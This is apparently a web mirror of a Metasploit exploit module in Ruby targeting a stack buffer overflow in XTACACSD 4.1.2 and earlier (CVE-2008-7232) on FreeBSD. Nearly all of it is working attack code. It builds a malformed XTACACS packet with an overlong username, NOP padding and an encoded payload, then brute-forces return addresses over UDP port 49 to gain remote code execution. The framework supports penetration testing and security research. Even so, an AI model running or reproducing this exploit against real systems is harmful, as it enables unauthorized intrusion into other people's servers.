Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/freebsd/tacacs/xtacacsd_report.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Brute1011def initialize(info = {})12super(update_info(info,13'Name' => 'XTACACSD report() Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By16sending a specially crafted XTACACS packet with an overly long17username, an attacker may be able to execute arbitrary code.18},19'Author' => 'MC',20'References' =>21[22['CVE', '2008-7232'],23['OSVDB', '58140'],24['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],25],26'Payload' =>27{28'Space' => 175,29'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",30'StackAdjustment' => -3500,31'PrependEncoder' => "\x83\xec\x7f",32'DisableNops' => 'True',33},34'Platform' => 'bsd',35'Arch' => ARCH_X86,36'Targets' =>37[38['FreeBSD 6.2-Release Bruteforce',39{'Bruteforce' =>40{41'Start' => { 'Ret' => 0xbfbfea00 },42'Stop' => { 'Ret' => 0xbfbfef00 },43'Step' => 24,44}45},46],47],48'Privileged' => true,49'DefaultTarget' => 0,50'DisclosureDate' => '2008-01-08'))5152register_options([Opt::RPORT(49)])53end5455def brute_exploit(address)56connect_udp5758sploit = "\x80" # Version59sploit << "\x05" # Type: Connect60sploit << "\xff\xff" # Nonce61sploit << "\xff" # Username length62sploit << "\x00" # Password length63sploit << "\x00" # Response64sploit << "\x00" # Reason65sploit << "\xff\xff\xff\xff" # Result 166sploit << "\xff\xff\xff\xff" # Destination address67sploit << "\xff\xff" # Destination port68sploit << "\xff\xff" # Line69sploit << "\x00\x00\x00\x00" # Result 270sploit << "\x00\x00" # Result 371sploit << make_nops(238 - payload.encoded.length)72sploit << payload.encoded + [address['Ret']].pack('V')7374print_status("Trying target #{target.name} #{"%.8x" % address['Ret']}...")75udp_sock.put(sploit)7677disconnect_udp78end79end808182